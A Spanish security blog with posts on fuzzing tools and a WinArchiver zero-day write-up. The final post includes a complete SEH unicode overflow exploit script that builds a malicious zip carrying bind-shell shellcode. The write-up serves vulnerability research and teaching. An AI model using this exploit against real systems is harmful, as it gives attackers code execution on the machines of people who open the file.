jueves, 3 de abril de 2014

Nos vamos a la Immunity Infiltrate y Hack in paris como ponentes!

Hola a todos!

Teníamos el blog un poco olvidado, demasiado trabajo e investigaciones fuera de trabajo.Pero queríamos anunciar que dos miembros de realpentesting Josep Pi  y Pedro Guillén irán a la "Immunity infiltrate" en Miami beach y a la "hack in paris" a dar su charla sobre "Fuzzing, Reversing and Maths"

En esta charla hablarán sobre los 0days que han encontrado en aplicaciones de backup, algunas de fabricantes bastante importantes y que tienen cierta complejidad donde se han realizado tareas de ingeniería inversa de binarios, ingeniería inversa de protocolos y uso de matemáticas para su entendimiento y explotación.En estas charlas irán Josep y Pedro pero quieren agradecer y llevar en sus slides a todo el equipo de realpentesting y sus nuevos integrantes matemáticos-frikis que han sido de gran ayuda.

Más adelante compartiremos en la medida de lo posible todos nuestros hallazgos y más cosillas en el blog.

Quien se apunte a ir a la Infiltrate y/o hack in paris, nos vemos alli!! Aquí os dejamos info:

https://immunityinc.com/infiltrate/speakers.html

http://www.hackinparis.com/node/272


domingo, 15 de septiembre de 2013

HOTFUZZ: EASY FUZZING

En este artículo realizaremos tareas de fuzzing utilizando la herramienta Hotfuzz.

Hotfuzz es una herramienta que utiliza peach y disectores de Wireshark para crear un man-in-the-middle (proxy) based fuzzer el cual dispone de la opcion de crear los peach Pit. HotFuzz es una implementación de un grupo de estudiantes de Praga.

Dicho de otra forma, con hotfuzz dispondremos de una herramienta con interfaz gráfica, capaz de “entender” el protocolo que se le indica (soporta muchos de los que soporta wireshark) y generar el archivo xml con todos los datos necesarios para realizar las tareas de fuzzing con peach, todo esto de forma casi automática. También nos dará toda la información necesaria en caso de producirse un crash. Es una herramien fácil y flexible, ideal para tareas de Fuzzing sobre protocolos conocidos como FTP,HTTP,etc.


Podéis descargarlo aquí: http://hotfuzz.sourceforge.net/   

(Debéis tener instalado Python para ejecutarlo)

Para realizar nuestro ejemplo  utilizaremos un servidor FTP vulnerable:
PCMan´s FTP Server 2.0.7 Buffer Overflow Exploit

http://www.exploit-db.com/exploits/26471/




Una vez descargado el servidor FTP, podemos ver los archivos que los componen con el ejecutable que Fuzearemos:
 

  El primer paso será abrir HotFuzz haciendo doble click en el archivo indicado en la captura de pantalla.



Una vez abierto, podemos ver a continuación una captura de la pantalla principal.

Esta primera pestaña “Recording” es la que contiene los campos necesarios para configurar la herramienta, y que de forma automática analice el protocolo que usamos y nos genere el xml para el Peach Pit.




 Empecemos con nuestro ejemplo:


1. Pestaña “Recording”: En primer lugar debemos tener en cuenta en la parte superior la sección dedicada al Cliente y al Servidor:

     a) Cliente: En esta sección indicaremos a hotfuzz la aplicación cliente con la que conectaremos al servidor FTP que fuzearemos en la sección Program, en este caso será Filezilla, pero puede usarse cualquier cliente FTP.  También se indican los comandos a utilizar.Finalmente la IP y el puerto sobre el que se creará el proxy que usará el cliente para conectarse al servidor. Este punto es muy importante, ya que recordemos que hotfuzz monta un proxy intermedio para utilizar los disectores de Wireshark.  De este modo, las configuraciones quedarían de la siguiente forma:

  • Proxy IP: 127.0.0.1
  • Port: 5150   (El puerto debe ser cualquier puerto que no tengamos utilizándose que esté por encima de los primeros 1024)
  • Program: C:/FileZilla FTP Client/filezilla.exe ftp://Anonymous:@localhost:5150

Debemos fijarnos que en la parte “Program” estamos usando el cliente FTP Filezilla para conectar con el usuario Anonymous a localhost por el puerto 5150. 


     b) Server: En esta sección es donde indicamos la IP, puerto y programa a Fuzear, en este caso le indicamos la IP local por el puerto del  servidor FTP 21 y la ruta al archivo ejecutable del servidor FTP. De este modo, las configuraciones quedarían de la siguiente forma: 
  •  Target IP:  127.0.0.1
  • Port: 21
  • Program: C: /9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan/PCManFTPD2.exe




Una vez indicados esos parámetros debemos fijarnos en la parte inferior de la aplicación en la que tenemos unas cajas de salida de información de salida del cliente, servidor y del propio Hotfuzz. Podemos ver que tenemos en cada sección una serie de botones para inicios, paradas y limpiado de datos. 


Como vemos en la anterior captura se hace referencia a los “Agent IP” y “Port”. Uno para el cliente y otro para el servidor. Se trata del agente de monitorización que se levanta para pach. Los Agent son procesos especiales de Peach que pueden ser usados de forma local o remota. Estos procesos albergan uno o mas monitores que pueden ser usados para realizar acciones tales como atachear debuguers, ver corrupciones de memoria, etc… Puede decirse que levanta los sistemas necesarios para la detección del crash.

No debemos olvidar que en definitiva estamos usando Peach, por lo que para entender totalmente que está haciendo la aplicación debemos saber como funciona peach, los archivos Pit y demás aspectos. En este enlace está toda la información relativa a Peach 2.3: http://peachfuzzer.com/v2/peach23.html
Veamos ahora la forma de configurar la sección “Recording”. Como vemos en la siguiente captura debemos indicar:


  • Iteration Count: Son el número de pruebas de conexión realizará con el cliente utilizando los parámetros indicados. Estas iteraciones deben ser más altas, en el caso de que podamos esperar diferentes comportamientos del protocolo en sucesivas conexiones.
  • Protocol Port: Indicamos el puerto del protocolo a analizar, en este caso es el 21 al estar analizando un FTP.
  • Protocol Familly: Si es TCP oUDP
  • Restart Client: En el caso de que se requiera que el cliente se cierre y habrá solo en cada petición.
  • Disable Cliente Debugger: En el caso de que no necesitemos analizar posibles crash en el cliente.
  • Proxy Tiemout: El tiempo de timeout establecido para conexiones con el servicio.

En la siguiente captura vemos el proceso de recording en marcha.
 



2.   Pestaña Fuzzing Settings:  En esta sección vemos como aparecen todos los modelos de datos creados a partir de la primera fase. Podremos encontrar todos los métodos que usa el protocolo. Seleccionaremos los campos a fuzear marcándolos como true en la columna “Mutate”.


En nuestro caso Fuzearemos el campo USER. Si recordamos, indicamos al cliente FTP que se conectase utilizando el usuario “Anonymous”, así que es lo que marco es ese campo para que mande los “Chorros” de datos en el nombre del usuario cuando trate de conectarse.

Seguidamente pulsamos sobre el botón “HIDE MUTATOR”  para que se desplieguen las opciones de los Mutators. Como vemos en la siguiente captura, selecciono “String”, ya que es el tipo de datos que quiero enviar en las diferentes mutaciones.









3. Pestaña Fuzzing: En este punto ya solo nos faltaría pulsar sobre el botón “Start All” de la parte inferior para que el proceso de fuzzing se ponga en marcha.



 Cuando la aplicación detecte un crash del servidor que estamos fuzeando, lo indicará en la ventana de datos de log. A continuación puede verse una captura en detalle de la información que ofrece:




Como vemos en la anterior captura, se ha producido un crash en el [39]TestCase, osea en la prueba número 39, y que ha mandado como nombre de usuarios un “Chorro” de AAAAAA…  concretamente 3048 como indica en (length was 3048).  Finalmente te indica que se trata de un crash EXPLOITABLE.   :)
 
 4. Pestaña Dump Viewer:
En esta pestaña se van guardando los datos de los crashes que van apareciendo.
 



Como vemos en la siguiente captura, seleccionando un crash y pulsando sobre el botón “view comunications”, veremos los detalles del crash.


Con esta información, sabemos que existe un buffer overflow en el campo USER, y que podemos desbordar utilizando 3048 caracteres. Ya hacer el exploit no tiene ningún misterio.

En definitiva, podemos concluir que hotfuzz  es una herramienta muy útil, que agiliza la tarea de fuzzing para protocolos conocidos.
 

Saludos!!

lunes, 29 de abril de 2013

0DAY BUG HUNTING REALPENTESTING


Realpentesting está de bug hunting !

Hemos decidido empezar desde Abril a fuzzear y explotar vulnerabilidades en software de todo tipo y hemos decidido ir compartiendo los 0days que hemos ido encontrando, los que podemos publicar por ahora estarán listados en la pestaña "advisories" y también estaránsubidos en exploit-db.

En concreto en esta entrada vamos a hablar de una de varias vulnerabilidades críticas que hemos encontrado en Winarchiver.Winarchiver es una aplicación de pago de compresión y descompresión http://www.winarchiver.com/.

Esta versión de software es bastante reciente (16 de Abril de 2013) tal y como podemos ver en su web.
Vamos a ir describiendo el proceso desde el fuzzing hasta el exploit. Para fuzzear esta aplicación hemos usado el fabuloso framework Peach.

Para quien quiera aprender a utilizar peach, aquí hay un tutorial muy bueno. http://www.flinkd.org/2011/07/fuzzing-with-peach-part-1/

Lo que hacemos es ir mutando todo tipo de headers y flags del format file de los ficheros zip.
Los templates de Peach se dividen en 5 partes:

El DataModel es donde se define la estructura de lo que vamos a fuzzear. En nuestro caso es un zip. Este modelo de datos es exactamente igual que el tutorial que anteriormente hacemos referencia.

En el state model indicamos que vamos a fuzzear este modelo de datos utilizando como fichero base el fichero test.zip que deber ser un fichero zip cualquiera correctamente formado.


<StateModel name="TheState" initialState="Initial"> <!-- En este caso se utiliza de fichero incial sobre el que fuzzear el fichero test.zip -->
    <State name="Initial">
      <Action type="output">
        <DataModel ref="ZipFileFormat"/>
        <Data name="data" fileName="C:\peachfuzz\test.zip"/>
      </Action>
      <Action type="close"/>
      <Action type="call" method="ScoobySnacks"/>
        </State>
  </StateModel>


Por otro lado tenemos el agent que en nuestro caso definiremos que será local utilizando un debugger (windbg) e indicando con las siguientes líneas que lo vamos a attachear:



<Agent name="LocalAgent">
<Monitor class="debugger.WindowsDebugEngine"> <!-- En este caso attacheamos el proceso WinArchiver.exe -->
<Param name="ProcessName" value="WinArchiver.exe" />
<Param name="StartOnCall" value="ScoobySnacks"/>
</Monitor>
    <Monitor class="process.PageHeap">
      <Param name="Executable" value="WinArchiver.exe"/>
    </Monitor>
  </Agent>

Finalmente tenemos el Test y el run. El primero indica el tipo de pruebas que se va a realizar y el run es la prueba que vamos a ejecutar en el momento de fuzzearlo. En el run también se definen donde se guardarán los logs y trazas de los crashes una vez se encuentren. (en nuestro caso logtest).


<Test name="TheTest">
    <Strategy class="rand.RandomMutationStrategy" switchCount="1500" maxFieldsToMutate="7"/>
    <Agent ref="LocalAgent"/> 
    <StateModel ref="TheState"/>
    <Publisher class="file.FileWriterLauncher"> <!-- En este caso se guarda como fuzzed.zip utilizando el publisher de file format -->
      <Param name="fileName" value="fuzzed.zip" />
      <Param name="debugger" value="true"/>
    </Publisher>
  </Test>



<Run name="DefaultRun"> <!-- El run indica que se realizará la prueba "TheTest" almacenando los crash en la carpeta logtest -->
    <Test ref="TheTest"/>
    <Logger class="logger.Filesystem">
       <Param name="path" value="logtest"/>
    </Logger>
  </Run>
</Peach>



Adjunto puede encontrarse el template completo winarchiver.xml.
LINK

Después de ponerlo en funcionamiento nos dimos cuenta de que una vez que se obtenía un crash la “única” manera posible de obtener el fichero de zip responsable del crash era realizando el siguiente comando:


 python peach.py -1 --skip {numero de prueba} template.xml.

Pero también nos dimos cuenta de que esto no funcionaba del todo bien ya que si utilizábamos una estrategia aleatoria, no conseguíamos generar los zips correspondientes de cada prueba. Por lo que estuvimos mirando el código de peach para terminar modificando 2 funcionalidades:
  • Nos gustaba que apareciera el estado del seh chain en las trazas de windbg(!exchain)
  • Además sería muy bueno que tuviéramos el fichero zip que ocasiona el crash dentro del propio directorio de logs , dentro de la carpeta de cada “crash”
Tras estos dos objetivos nos pusimos manos a la obra y finalmente modificamos un poquito el fichero debugger.py y el logger.py ambos dentro de la carpeta Peach.

Para conseguir que se mostrara el estado del SEH Chain realizamos el siguiente cambio:
En la línea 244 del fichero debugger.py
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p(".load %s\\msec.dll" % p), DbgEng.DEBUG_EXECUTE_ECHO)
-->dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exchain"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
dbg.idebug_control.Execute(DbgEng.DEBUG_OUTCTL_THIS_CLIENT, c_char_p("!msec.exploitable -m"), DbgEng.DEBUG_EXECUTE_ECHO)
Para conseguir que se guardara el fichero zip que hacia crash:
En la línea 276 del fichero logger.py añadimos
filename = os.path.join(path, "fuzzed.zip")
shutil.copyfile("fuzzed.zip",filename)


Luego nos encontramos con varios problemas, y es que para poder fuzzearlo desde el interfaz gráfico , teníamos que utilizar algunas macros para que una vez abierto el programa, nuestra macro pulse algunos botones determinados de la aplicación para que intente descomprimir el fichero, ya que con solo abrir la  aplicación con el fichero .zip no es suficiente.

AutoIt3 es una aplicación que permite de una manera sencilla realizar tareas que se repitan y además generar un fichero ejecutable. Lo que necesitábamos en este caso es que una vez que el entorno gráfico de winarchiver estuviese en pantalla, de forma automatizada nuestra macro intente extraer el fichero como si lo hiciésemos nosotros mismos con el ratón y teclado.

Estos son los pasos que realiza la macro desde un punto de vista más gráfico:

Una vez abierta la aplicación, saltará un popup de licencia, la macro pulsará en “continuar sin registrar”




Luego, para extraer el fuzzed.zip que ha abierto nuestro script vbs, tenemos que ir a “acción” y luego extraer con el ratón:



Despues debemos de darle al botón “OK” para que extraiga el fichero en la ruta que tiene ya guardada winarchiver:



Y por último pero no menos importante, si nos salta que ya existe el fichero (algo que pasará muy a menudo) hay que darle a que “Si” para que sobreescriba el fichero actual, si no hiciéramos esto, nos podríamos perder muchos crashes de la aplicación.

Al final la macro nos quedó así:
Func _WinWaitActivate($title,$text,$timeout=0)
 WinWait($title,$text,$timeout)
 If Not WinActive($title,$text) Then WinActivate($title,$text)
 WinWaitActive($title,$text,$timeout)
EndFunc

While True
_WinWaitActivate("WinArchiver","Ingresar código") #esperamos a que se muestre lo del trial
Send("{DOWN}{DOWN}{DOWN}{ENTER}") #hacemos click en continuar
Send("{ENTER}")
If(WinExists("WinArchiver(Copia sin registrar) - ")) Then #si aparece la ventana de winarchiver
   _WinWaitActivate("WinArchiver(Copia sin registrar) - ","") #esperamos a que sea el foco.
   Send("{DOWN}{UP}{ALTDOWN}a{ALTUP}{RIGHT}{RIGHT}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}") #lo mandamos a extraer
   If(WinExists("Extraer","Archivos &selecciona")) Then
   _WinWaitActivate("Extraer","Archivos &selecciona") #si aparece la ventana de extraer damos enter al OK que ya está marcado por defecto
   Send("{ENTER}")
   If(WinExists("WinArchiver","")) Then
   _WinWaitActivate("WinArchiver","")
   Send("{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{TAB}{ENTER}") # Si salta la ventana de reemplazar archivo, seleccionamos “Si” y pulsamos enter.
   EndIf
EndIf
EndIf
WEnd
Como se ha comentado anteriormente en el template .xml de peach, estamos attacheando el proceso winarchiver.exe en vez de abrirlo con el debugger, esto es por que la aplicación se comportaba de forma distinta cuando se abría directamente con el debugger y observamos como attacheandolo se comportaba de forma q pudiesemos fuzzearlo. El proceso winarchiver.exe va a ser abierto y monitorizado por un script que hemos creado de visual basic que lo que hace es mirar si esta ejecutándose y si no, lo ejecuta abriendo el fichero fuzzeado por Peach (fuzzed.zip) script.vbs:
While counter > 0
  wscript.sleep 3000
  Set WshShell = WScript.CreateObject ("WScript.Shell")
  Set colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")
  i = 0
  For Each objProcess in colProcessList
     if objProcess.name = "WinArchiver.exe" then
        i=i+1
     End if
  Next
  If i=1 then
  
  Else
     WshShell.Run ("""C:\Archivos de Programa\WinArchiver\WinArchiver.exe ""C:\Peach2.3\fuzzed.zip""""")
  End If
  vFound = False
Wend
Una vez tenemos nuestro entorno de fuzzing preparado lo lanzamos, ejecutando primero la macro.exe , luego el peach, que se quedará esperando para attachear el proceso de winarchiver.exe y cuando veamos que estará esperando al proceso ( tiene 10 intentos) ejecutamos rápidamente nuestro .vbs que al detectar que el proceso no está levantado lo levantará con el fuzzed.zip generado por peach y empezará todo el proceso. Al cabo de unas 24 horas fuzzeando aproximadametne, nos encontramos con un crash exploitable, uno en el que claramente se ve que se ha provocado un desbordamiento del manejador de excepciones (SEH).
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
*** wait with pending attach
Symbol search path is: SRV*http://msdl.microsoft.com/download/symbolsExecutable search path is:

ModLoad: 00400000 00671000   C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c910000 7c9c8000   C:\WINDOWS\system32\ntdll.dll
id: ee4 attach name: C:\Archivos de Programa\WinArchiver\WinArchiver.exe
ModLoad: 7c800000 7c903000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77f40000 77fb6000   C:\WINDOWS\system32\SHLWAPI.dll
ModLoad: 77da0000 77e4c000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e50000 77ee3000   C:\WINDOWS\system32\RPCRT4.dll
ModLoad: 77fc0000 77fd1000   C:\WINDOWS\system32\Secur32.dll
ModLoad: 77ef0000 77f39000   C:\WINDOWS\system32\GDI32.dll
ModLoad: 7e390000 7e421000   C:\WINDOWS\system32\USER32.dll
ModLoad: 77be0000 77c38000   C:\WINDOWS\system32\msvcrt.dll
ModLoad: 76b00000 76b2e000   C:\WINDOWS\system32\WINMM.dll
ModLoad: 72f80000 72fa6000   C:\WINDOWS\system32\WINSPOOL.DRV
ModLoad: 7e6a0000 7eec1000   C:\WINDOWS\system32\SHELL32.dll
ModLoad: 773a0000 774a3000   C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202\COMCTL32.dll
ModLoad: 774b0000 775ee000   C:\WINDOWS\system32\ole32.dll
ModLoad: 770f0000 7717b000   C:\WINDOWS\system32\OLEAUT32.dll
ModLoad: 77180000 7722b000   C:\WINDOWS\system32\WININET.dll
ModLoad: 77a50000 77ae6000   C:\WINDOWS\system32\CRYPT32.dll
ModLoad: 77af0000 77b02000   C:\WINDOWS\system32\MSASN1.dll
ModLoad: 5b150000 5b188000   C:\WINDOWS\system32\UXTHEME.DLL
ModLoad: 10000000 100b0000   C:\Archivos de programa\WinArchiver\7z.dll
ModLoad: 76330000 76335000   C:\WINDOWS\system32\msimg32.dll
ModLoad: 746b0000 746fc000   C:\WINDOWS\system32\MSCTF.dll
ModLoad: 597f0000 59845000   C:\WINDOWS\system32\netapi32.dll
ModLoad: 77b10000 77b32000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 76f90000 7700f000   C:\WINDOWS\system32\CLBCATQ.DLL
ModLoad: 77010000 770e0000   C:\WINDOWS\system32\COMRes.dll
ModLoad: 77bd0000 77bd8000   C:\WINDOWS\system32\VERSION.dll
ModLoad: 7e210000 7e383000   C:\WINDOWS\system32\shdocvw.dll
ModLoad: 76890000 76914000   C:\WINDOWS\system32\CRYPTUI.dll
ModLoad: 76bf0000 76c1e000   C:\WINDOWS\system32\WINTRUST.dll
ModLoad: 76c50000 76c78000   C:\WINDOWS\system32\IMAGEHLP.dll
ModLoad: 76f20000 76f4d000   C:\WINDOWS\system32\WLDAP32.dll
ModLoad: 7df20000 7dfc3000   C:\WINDOWS\system32\urlmon.dll
ModLoad: 778f0000 779e7000   C:\WINDOWS\system32\SETUPAPI.dll
ModLoad: 779f0000 77a45000   C:\WINDOWS\System32\cscui.dll
ModLoad: 765b0000 765cd000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 03cf0000 03fc6000   C:\WINDOWS\system32\xpsp2res.dll
(ee4.9e8): Access violation - code c0000005 (first chance)

r

eax=00000041 ebx=000017a6 ecx=043b0000 edx=7fffdf41 esi=043aed84 edi=043aed58
eip=004e64cb esp=043ae8cc ebp=043ae8d0 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
*** ERROR: Module load completed but symbols could not be loaded for C:\Archivos de Programa\WinArchiver\WinArchiver.exe
WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=???? -> instrucción que provoca el overflow
rF
fpcw=027F: rn 53 puozdi  fpsw=0000: top=0 cc=0000 --------  fptw=FFFF
fopcode=0492  fpip=0000:00000000  fpdp=0000:00000000
st0= 0.006573242701799395090e-0306  st1=-0.000000000000000003060e+4112
st2= 3.315545808965230580700e-4932  st3= 0.585864538478113307190e-4933
st4= 3.315545862195673984010e-4932  st5= 0.019451969634699875940e-4933
st6= 2.438156854804684311930e-4929  st7=-4.665158646486517195140e-1557
WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=????

rX
xmm0=6.16534e+037 1.73655e-039 6.18886e+037 1.73649e-039
xmm1=1.73646e-039 6.16538e+037 1.73655e-039 1.#QNAN
xmm2=1.27831e-037 6.18886e+037 1.68156e-044 6.16535e+037
xmm3=0 0 1.4013e-045 2.8026e-044
xmm4=0 0 0 2.24208e-044
xmm5=7.2981e-039 1.73644e-039 1.4013e-045 0
xmm6=-1.#QNAN 6.16536e+037 6.24796e+037 1.73686e-039
xmm7=6.18886e+037 0 6.20169e+037 6.16535e+037

WinArchiver+0xe64cb:
004e64cb 668901          mov     word ptr [ecx],ax        ds:0023:043b0000=????

kb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\ntdll.dll -
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
043ae8d0 004e1929 00000041 043aed84 004e1993 WinArchiver+0xe64cb
043aed6c 004def3a 043aed84 00553eea 043afdcc WinArchiver+0xe1929
043aeda4 0047660d 043aedbc 00553ee0 043afdc4 WinArchiver+0xdef3a
043aedb4 004a2069 00780045 00720074 00790061 WinArchiver+0x7660d
043afdc4 00410041 00410041 00410041 00410041 WinArchiver+0xa2069
043afdc8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdcc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdd8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afddc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afde8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdec 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf0 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf4 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdf8 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afdfc 00410041 00410041 00410041 00410041 WinArchiver+0x10041
043afe00 00410041 00410041 00410041 00410041 WinArchiver+0x10041

.load C:\Peach2.3\tools\bangexploitable\x86\msec.dll

!exchain    ----------------------------> Nuestro exchain que hemos añadido a peach.
043aff0c: WinArchiver+10041 (00410041)  ---> Owned ! hemos sobre-escrito con "A" y en unicode el SEH
Invalid exception stack at 00410041
!exploitable -m
IDENTITY:HostMachine\HostUser
PROCESSOR:X86
CLASS:USER
QUALIFIER:USER_PROCESS
EVENT:DEBUG_EVENT_EXCEPTION
EXCEPTION_FAULTING_ADDRESS:0x43b0000
EXCEPTION_CODE:0xC0000005
EXCEPTION_LEVEL:FIRST_CHANCE
EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION
EXCEPTION_SUBTYPE:WRITE
MAJOR_HASH:0x68140f13
MINOR_HASH:0x0a520157
STACK_DEPTH:64
STACK_FRAME:WinArchiver+0xe64cb
STACK_FRAME:WinArchiver+0xe1929
STACK_FRAME:WinArchiver+0xdef3a
STACK_FRAME:WinArchiver+0x7660d
STACK_FRAME:WinArchiver+0xa2069
STACK_FRAME:WinArchiver+0x10041
STACK_FRAME:WinArchiver+0x10041
INSTRUCTION_ADDRESS:0x00000000004e64cb
INVOKING_STACK_FRAME:0
DESCRIPTION:User Mode Write AV
SHORT_DESCRIPTION:WriteAV
CLASSIFICATION:EXPLOITABLE
BUG_TITLE:Exploitable - User Mode Write AV starting at WinArchiver+0x00000000000e64cb (Hash=0x68140f13.0x0a520157)
EXPLANATION:User mode write access violations that are not near NULL are exploitable.!msec.exploitable -m

Bien, es un claro SEH overflow (también es un stack based overflow) pero vamos a analizar con 010 binary editor que se ha fuzzeado en nuestro zip comparandolo con un zip normal. Si abrimos un fichero normal zip (test.zip) y nuestro fuzzed.zip que ocasiona el overflow, podemos compararlos y ver las diferencias:


Ahora vamos a identificar la parte que se ha fuzzeado de este fichero zip:


Como se aprecia se en este zip se han fuzzeado bastantes secciones aunque en concreto lo que parece que ha ocasionado la vulnerabilidad es el fuzzeo del nombre del directorio y nombre del fichero.
Por supuesto peach lo ha fuzzeado de forma correcta de forma que el formato Zip sea correcto y no falle al abrir el fichero.
Por último, ya nos podemos poner manos a la mesa y desarrollar un exploit funcional para la vulnerabilidad encontrada.
Para quien no tenga ni idea de desarrollar exploits para unicode, de obligada lectura el siguiente enlace de corelan: https://www.corelan.be/index.php/2009/11/06/exploit-writing-tutorial-part-7-unicode-from-0x00410041-to-calc/
Lo primero que tenemos que hacer es generarnos a partir de nuestro fuzzed.zip un script en python que reproduzcla el mismo fichero, exportando a hexadecimal el fuzzed.zip con 010 binary editor nos ayudará bastante en esta tarea:
#/usr/bin/python
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)

Hemos decidido llamar la parte que va antes del nombre del fichero como "zip_header" y la que va justo despues como "zip_final".
Continuamos:
seh = "\x31\x48" #ppr 0x00480031 # sobreescribimos SEH con un pop pop ret que se encuentra en una direccion de memoria compatible con unicode
nextseh = "\x58\x70"   # sobreescribimos nextseh con una instruccion que nos permita continuar con el flujo de ejecución.

A continuacion "venetian" es un conjunto de instrucciones que hemos realizado para preparar la ejecución de nuestra venetian shellcode, más adelante veremos como funciona con el debugger.
Simplemente prepara el registro EAX para que apunte al inicio de la venetian shellcode, todo ello con instrucciones compatibles con unicode:
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
#venetian shellcode generada alpha3 con registro base EAX(./alpha2 eax --unicode --uppercase < bind_shell.raw )
shellcode = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1" "AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS" "BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P" "TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ" "3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2" "QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY" "K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45" "2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B" "60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P" "KKK045M5WKQ7N3RRRORJM0QCKOHUA" )
A continuación, nuestro buffer , que junto a los calculos que tuvimos que ir haciendo sobre la marcha, para manipular el SEH y posicionar nuestra venetian shellcode y que con nuestros calculos de "venetian" el registro EAX apunte al inicio de la shellcode.
buffer = "\x41" * (421) + shellcode + "\x41" * (2205-421-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian)) print len(buffer) payload = buffer mefile = open('seh_winarch.zip','w') mefile.write(zip_header + buffer + zip_final) mefile.close()
El exploit nos genera un zip y vamos a ver con el debugger paso a paso que es lo que hacemos.
Lo primero a tener en cuenta es que una vez abrimos con el winarchiver el zip hay que darle a boton secundario y darle a extraer, si le damos doble click la aplicación crashea de otra forma distinta. 
Vamos a ir viendolo paso a paso con el debugger:
Si ponemos un breakpoint en nuestro pop pop ret (0x00480031) podemos empezar a ver el funcionamiento de nuestro exploit:
Una vez intentamos descomprimir el fichero y pasamos la primera excepción (shift+F9) entraremos en nuestro breakpoint.Si pasamos estas 3 instrucciones con F7 llegamos a las instrucciones compatibles con unicode que hemos metido en "nextseh":
nextseh = "\x58\x70"


Vemos como se ejecuta un "POP EAX" que no es dañino y luego entra nuestro \x70 que por ser transformado en unicode queda en 007000 que es la instruccion ADD [EAX],DH que tampoco es dañina.
Despues vemos las siguientes opcodes (3100 y 48), que pertenecen a los digitos de la dirección de memoria (0x00480031) que pertenece al pop pop ret y que hemos introducido en SEH y por supuesto tampoco son dañinas las instrucciones
Si lo fueran , tendriamos que utilizar otra dirección de memoria unicode cuyos caracteres no correspondan a opcodes de instrucciones que rompan el flujo de ejecución:
